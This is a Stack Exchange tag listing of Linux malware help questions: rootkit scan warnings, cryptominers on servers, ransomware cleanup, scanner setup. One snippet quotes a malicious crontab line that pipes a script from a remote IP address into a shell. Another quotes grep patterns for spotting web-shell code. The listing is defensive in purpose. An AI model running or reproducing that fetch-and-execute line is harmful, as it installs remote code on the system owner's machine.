Stack Exchange Network

Stack Exchange network consists of 174 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers.

Visit Stack Exchange

Questions tagged [malware]

The tag has no usage guidance.

-1
votes
1answer
27 views

Mint 19 tcpd INFECTED sha1sum

When I use rkhunter it always shows two warnings and possible 4 rootkit information: Checking for suspicious (large) shared memory segments [ Warning ] Checking for hidden files and directories ...
-1
votes
0answers
21 views

Google Chrome connections on my macOS

lsof -i shows this list of connections even in incognito mode, no site open. Is it okay or some kind of malware?
0
votes
1answer
61 views

Still safe to use distro after applying c program to it?

I installed elementary OS Juno on an old iMac 5,1. The Computer uses a 32bit EFI, which is not able to boot elementary OS Juno so I decided to follow Matt Gadients guide for a little workaround. You ...
0
votes
1answer
11 views

Source for outgoing connection in nethogs

I see several outgoing connections in nethogs (please see screenshot below), where my server is connected e.g. via its port 445 (samba?) to someone else. However, ss does not show any process running/...
0
votes
1answer
655 views

A strange process called “watchbog” is hogging my entire CPU and I can't get rid of it [closed]

This process that has come out of nowhere is hogging my CPU and I have no clue what it is or how to get rid of it. You can see in the image below what it's doing: What is this process? How can I get ...
0
votes
3answers
132 views

Threats found in /dev/fd

While trying to make sure I have no threats on my iMac I used Bitdefender to perform a full scan and I found this Output of running ls -la in /dev/fd: ls -la total 11 dr-xr-xr-x 1 root ...
1
vote
0answers
36 views

Access firmware from terminal? [closed]

I have a 2008 MacBook I bought new and have used up until a few months ago with leopard and snow leopard install disks. After many strange occurrences I decided to erase and reinstall my OS. After ...
1
vote
0answers
115 views

Is Linux able to perform any kind of Measured Boot?

Some Linux-distro's support Secure Boot. (These distro's use a 1st-stage bootloader signed by Microsoft.) Is Linux (without any additional modules) able or is there any Linux-distro out there that is ...
0
votes
1answer
40 views

How is source code reviewed/audited, prior to inclusion in linux mainline?

An answer to this question would provide insight and references about how the linux kernel source code is reviewed prior to be released? Particular interesting aspect of this question to me are: Who ...
2
votes
1answer
320 views

How to check an AUR package for malicious code?

Malicious code has been found and deleted later from 3 AUR packages acroread, blaz and minergate (e,g: acroread PKGBUILD detail). It was found in a commit released by a malicious user by changing the ...
0
votes
0answers
243 views

stop spammer attack over postfix/dovecot

I've got a server with postfix/dovecot which is somehow being attacked. I constantly see huge amount of logs like this (replaced my domain by example.com): Jul 2 10:03:03 my-server postfix/pickup[...
0
votes
0answers
17 views

How can attempts to create or modify on th local file system file and get a file via the web from a specific address be monitored in real-time?

My web server got hacked and after not being able to tell what executable it was running I inquired as to how to detect the file name, which I asked about earlier at How can I diagnose a process which ...
3
votes
1answer
160 views

process keeps on starting

On a VPS that I use, somehow I got a little annoying miner. (I'm not root) 15109 ? Z 0:00 [sh] <defunct> 15134 ? Ssl 0:03 [] 15160 ? S 0:00 ./5DiaEd75 ./...
3
votes
2answers
2k views

bash: /var/log/rkhunter.log: Permission denied (as root - Linux Mint 18.3)

I think my Linux laptop has been hacked, for three reasons: Whenever I saved files into the Home folder, the files wouldn't appear - not even in the other folders on my computer. An unfamiliar .txt ...
2
votes
2answers
89 views

Switching from Win10 to Linux: AV, defrag, disk cleanup tools, etc [closed]

I installed Linux Mint on my desktop in place of Windows 10. I am used to having virus/malware Scanners, defragmenters, Disk Clean up tools etc. I was wondering if people here would be able to ...
2
votes
1answer
535 views

Mixed case DNS requests - Malware in my network?

I am seeing some strange DNS queries. They have seemingly random mixed case coming from machines in my network. Is it possible I have malware? $ sudo tcpdump -n port 53 16:42:57.805038 192.168.5.134....
2
votes
2answers
131 views

How can I tell if Comcast is blocking access to an IP? [closed]

I have a site hosted on CentOS 7, part of an A2 Hosting environment. Although I can access my site (http://68.66.205.103/) on my phone and an AT&T ISP, I can't access it from a Comcast ISP or my ...
7
votes
2answers
878 views

rmdir failed to remove empty directory

I have a problem with removing empty dir, strace shows error: rmdir("empty_dir") = -1 ENOTEMPTY (Directory not empty) And ls -la empty_dir shows nothing. So i connected to the fs (ext4) with debugfs ...
0
votes
1answer
26 views

cd fails when trying to enter maldetect version-agnostic directory

I'm installing Maldet on Debian 9.3: cd /usr/local/src wget http://www.rfxn.com/downloads/maldetect-current.tar.gz tar -xzvf maldetect-current.tar.gz cd maldetect-* bash ./install.sh While doing cd ...
1
vote
1answer
360 views

Which process places a red circle to the bottom right corner of my display on Linux Mint 18.1?

Some days ago that widget appeared on screen and I have no idea how to remove it and how did it came to my system. Not taken by screenshots. I suggest it is malware. Any ideas?
22
votes
2answers
5k views

How can I kill minerd malware on an AWS EC2 instance? (compromised server)

I found malware on my ec2 instance which was continuously mining bitcoin and using my instance processing power. I successfully identified the process, but was unable to remove and kill it. I ran ...
-1
votes
2answers
86 views

Securing files against malware [closed]

Let's say, somehow a malware is present on your filesystem (e.g : BusyWinman Malware). How would you secure your files against being transfered by such a malware to somewhere else? Please, describe ...
0
votes
1answer
227 views

Gnome-pty-helper as a virus? [closed]

I asked this question and accepted the answer, where gnome-pty-helper was identified as a compromise of some sort. This is the link to the binary file. How can I find out what was accessed on the ...
0
votes
1answer
106 views

Will mounting sda6 to run rkhunter allow the malware to become active?

I think I've got malware on my laptop. You see, I got suspicious disc activity after accessing a dodgey website. So I'm going to run rkhunter on the laptop from a live knoppix USB stick. My linux ...
0
votes
1answer
45 views

Scan Website Data For Malicious Code & Injections [closed]

I want to scan a website's complete data, what's most authentic & user friendly tool for that on linux? Suggest me command line utilites please.
10
votes
2answers
873 views

how does fileless malware work on linux?

I understand the definition of fileless malware: Malicious code that is not file based but exists in memory only… More particularly, fileless malicious code … appends itself to an active ...
0
votes
1answer
298 views

Why are my crontab user files immutable and doesn't get executed even after changing attribute to mutable?

In a means to suppress a malware that created a crontab entry below, II introduced the usage of cron.deny */5 * * * * curl -fsSL http://62.109.20.220:38438/start.sh|sh However, all user crontabs ...
2
votes
1answer
565 views

How to remove Linux.MulDrop.14?

My son's Raspberry PI is infected with Linux.MulDrop.14. Can anyone post steps to remove it? I am working on it but am not quite there yet.
1
vote
1answer
348 views

How to secure Raspberry-Pie controlled over SSH against the Linux.MulDrop.14 malware?

The Dr.Web has recently discovered a new linux malware called Linux.MulDrop.14 , targeting rpi with raspbian OS. Linux.MulDrop.14 Linux Trojan that is a bash script containing a mining ...
3
votes
0answers
350 views

Why does pepperflashplayer have almost 50 ports open?

So, I was messing around with netstat to learn more about addressing when I decided to run it on my local machine and see what processes were holding open ports. I came across this... tcp 0 ...
0
votes
2answers
687 views

Why maldet is not sending report as a mail?

Postfix is running. I am trying to send maldet report as a mail but it gives me an error I don't know why? [root@do ~]# maldet --report 170321-0115.21534 xxx@xxx.com Linux Malware Detect v1.6 ...
3
votes
2answers
2k views

Something is renaming php files to .php.suspected; I'm trying to find out what

Related: https://serverfault.com/questions/748417/something-renames-files-to-filename-ext-suspected https://stackoverflow.com/questions/32835796/php-file-automatically-renamed-to-php-suspected I ...
4
votes
1answer
2k views

How does Wikileaks' Vault 7 affect Linux? [closed]

Wikileaks recently released a trove of information regarding the CIA's hacking abilities. This has been dubbed "Vault 7". This includes targeting of Linux systems. Apple has apparently previously ...
3
votes
3answers
130 views

How is it possible to know whether my computer has been infected by a Macro Virus?

Today, I have received a new doc. document and wanted to open it using LibreOffice (Version 5.1.6.2). The following Warning Message was displayed: "This document contains macros. Macros may contain ...
-2
votes
1answer
344 views

Windows anti-virus and anti-malware available on Linux? [closed]

In relation to scanning a Windows partition for malware I see that both AVG and Avast install on Linux painlessly. Is there a full list of free-as-in-beer Windows anti-virus, or general anti-malware ...
1
vote
1answer
849 views

how do I scan the windows partition for malware?

Hopefully, not too broad of a question. For Windows 10, I was considering dual booting at least for the purposes of malware detection and removal. While AVG, and probably others, offer live rescue ...
0
votes
2answers
4k views

can unetbootin create UEFI bootable rescue disk on USB?

How do I run unetbootin from a non-UEFI system so that the Kaspersky rescue disk on USB it creates will work under UEFI boot for Windows 10? I don't want alter the boot configuration on the windows ...
2
votes
3answers
266 views

Remove recursively double extension added by “stupid” Crypt0L0cker ransomware

I'm trying to recover some file from a Windows archive affected by a "stupid" Crypt0L0cker ransomware. In fact, after a quick check moving files to my own system, it seems that the malware just added ...
0
votes
1answer
405 views

Global multiline search & replace

I have a server with thousands of files containing a multi-line pattern that I want to globally find & replace. Here's a sample of the pattern: <div class="fusion-header-sticky-height">&...
-6
votes
2answers
495 views

Locky ransomware removal [closed]

My internet provider informed me that my computer is infected with Locky Ransomware. I have Linux Ubuntu. How to remove virus or scan system?
-2
votes
1answer
116 views

Detect malware that recreates files in /usr/bin with a backdoor

I had VPS server and it has been hacked. and has been install a backdoor program always listen so prots and it operate whole / directory Now I use inotifywait can see the virus program always delete ...
0
votes
1answer
261 views

Explain Malware-finding function in bash

I've just spotted in .bash_history file lines below: grep -iHlnr 'filesman' *2> /dev/null grep -iHlnr 'eval.*base64_decode' *2> /dev/null From Google I know that is something like 'malware ...
3
votes
1answer
195 views

How to find out which particular e-mail in Thunderbird/Icedove that contains malware Doc.Dropper.Agent-1552723 pointed out by Clamscan?

Today I ran a clamscan -ri / and got some positives for some malware. Most are in the "spam" folder, so that's no problem. But one is among my saved e-mails: /home/user/.icedove/bfa059u1.default/...
3
votes
0answers
345 views

Theoric: How to kill a forever forking process?

Let's say you have a process that forks every time it has the chance. It launches itself in niceness -20, so it forks faster than you can kill it. Also, it remembers its childrens and it parents, so ...
1
vote
0answers
122 views

Spamassassin spam score and block configuration?

I've searched in the community and Google for this topic. There hasn't been a precise answer. I wanted to see the spam scores in the mail.log or syslog for Spamassassin running on my Linux server. It ...
0
votes
1answer
363 views

Suspicious traffic in nethogs on fresh install

Earlier today google said that unusual traffic was emanating from my computer and gave me a captcha. I got curious and installed nethogs. Everything appears normal except for an unknown program ...
1
vote
1answer
169 views

is my newly setup mail server on my laptop hacked?

I have just installed postfix on Arch Linux. I am following Arch wiki to set aliases to set following line in /etc/postfix/aliases root: edward after this I ran postalias /etc/postfix/aliases and ...
1
vote
0answers
77 views

Is the reader's linux '/usr/bin/mkdir' file larger than 53504 bytes? Has the reader got a virus?

I installed Fedora 19, and immediately listed the /usr/bin directory and saved the listing to a file. 4 hours later I list it again and all the executables have grown in size by about 1668 bytes. '...
0
votes
1answer
105 views

Does virus VBS Jenxcus affect Linux operating system? [closed]

Recently I connected to my linux a pendrive infected with VBS Jenxcus. Did it affect my operating system?
0
votes
2answers
2k views

Can I remove “Linux/Ebury Operation Windigo” without wiping the entire drive?

I used chkrootkit, which told me that I had "Linux/Ebury Operation Windigo" installed, I doubled checked by running ssh -G which printed out usage, without "illegal option". I removed all ssh files ...